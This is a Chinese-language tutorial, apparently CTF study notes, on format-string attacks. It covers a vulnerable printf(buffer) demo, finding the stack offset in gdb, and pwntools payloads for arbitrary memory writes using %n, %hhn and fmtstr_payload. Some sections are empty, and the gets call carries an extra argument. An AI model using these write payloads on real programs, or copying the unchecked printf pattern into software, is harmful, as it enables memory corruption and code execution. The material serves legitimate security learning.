Format-String Attack

1. 漏洞样式

通常情况下漏洞程序样式:

Table 1. Vulnerable Code Demo
1
2
3
char buffer[1024];
gets(buffer, 1024);
printf(buffer);

字符串 buffer 可控且作为 printf 的第一个参数。当其中包含 格式化字符(例如%s, %d, %p等) 时,栈上的内容就会被当做printf的第2个、第3个参数等被输出。

2. 利用方法

2.1 确定偏移

输入字符串(即Table 1中buffer)在栈上的偏移,即bufferprintf当做参数时,作为第几个参数。参数序号从0开始: printf(arg0, arg1, arg2, …, argn); 第10参数即表示arg10

  • 步骤1. break printf ;即在 printf 下断点
  • 步骤2. 输入 %p%p%p%p 等特殊字符
  • 步骤3. 在 printf 函数断点,使用 stack 命令查看栈。找到 %p%p%p%p 特殊字符串在栈上的位置。如Figure 1所示。
Figure 1. printf stack illustration

需注意图中①断点在printf入口,已跳转到printf 但尚未执行printf中指令(尤其是栈指令,否则栈布局会改变);注意图中② 0b 即字符串 %p%p%p%p 距离栈顶( esp )的偏移为 11;由于在 esp + 0 的位置存放函数返回地址。因此 %p%p%p%p 字符串实际上位于 栈上10 个参数。

  • 步骤4. 根据不同架构确定 bufferprintf 函数参数的序号。参考函数调用约定
    • a). x86架构
      x86架构的函数参数全部通过栈传递, 因此 bufferprintf 的第10个参数。
    • b). x64架构
      x64传参顺序为rdi, rsi, rdx, rcx, r8, r9; 之后才使用栈传参。因此若 Figure 1 在x64架构中,buffer对应的是printf函数的第(0xb + 6 - 1)= 16 个参数(参数序号从0开始,0,1,2,…, 16)。

2.2 实现任意地址写

任意目标地址(记为target_address) 中写入 任意值(记为target_value)

  • 1). 任意值的控制:通过格式化字符串 %Mc 其中 M=target_value来操控
  • 2). 任意地址的控制:将目标地址(target_address)写入buffer字符串中;并通过格式化字符串 %N$n来指定将 *当前printf已经输字符个数* 写入到第 N 个参数指定的地址中。其中 N即为’使用2.1中方法确定的‘’在buffer字符串中的‘’target_address在栈上的位置对应的printf的参数序号‘。(该处使用’'分句停顿帮助阅读)

例如:

2.2.1 当target_value 较小时,直接写入

假如buffer字符串位于printf第10个参数的位置(即arg10、即printf栈0xb(10+1)参数位)

Table 2. Payload Demo 1
1
2
// 写4到target_address
payload1 = p32(target_address) + b'%10$n\0'

其中:
payload1实现写4(p32为4byte)到target_address

Table 3. Payload Demo 2
1
2
3
payload2 = b'%100c' + b'%13$n'
payload2 = payload2.ljust(12, b'a')
payload2 += p32(target_address)

payload2实现写100到target_address, 此处由于target_adress没有写在字符串的开头,因此需要重新计算在栈上的偏移:字符串开头位于arg10处,字符串中target_address之前有12个字符即占3个参数位,因此target_address对应的参数位为13

2.2.2 当target_value太大时,分字节写入

假如buffer字符串位于printf第10个参数的位置(即arg10、即printf栈0xb(10+1)参数位);且需要向target_address 中写入的target_value*0xbaedbeef*。

实际上就是令:
*(int8*)target_address = 0xef = 239
*(int8*)(target_address + 1) = 0xbe = 190
*(int8*)(target_address + 2) = 0xed = 237
*(int8*)(target_address + 3) = 0xba = 186

这种情况下使用 %N$hhn 向目标地址写入int8宽度值 和 使用 %N$hn 向目标地址写入int16宽度值,将会非常有用。

那么可以使用如下payload实现:

Table 4. Payload Demo 3
1
2
3
4
5
6
7
8
9
10
11
12
13
payload = p32(target_address)          //arg10
payload += p32(target_address + 1) //arg11
payload += p32(target_address + 2) //arg12
payload += p32(target_address + 3) //arg13
//已有16byte输出;写入时从小到大写;即186->190->237->239
// 186 - 16 = 170
payload += b"%170c%13$hhn"
// 190 - 186 = 4
payload += b"%4c%11$hhn"
// 237 - 190 = 47
payload += b"%47c%12$hhn"
// 239 - 237 = 2
payload += b"%2c%10$hhn"

2.2.3 使用pwnlibfmtstr_payload函数自动构造payload

示例如下:

Table 5. Payload Demo 4: fmtstr_payload
1
2
3
4
5
from pwn import *
from pwnlib.util import misc
//payload = fmtstr_payload(10, {0x804c044: 0x1})
payload = fmtstr_payload(10, {target_address: target_value})
io.send(payload)

2. 注意事项

3. 原理说明

参考:
fmtstr_attack on ctf-wiki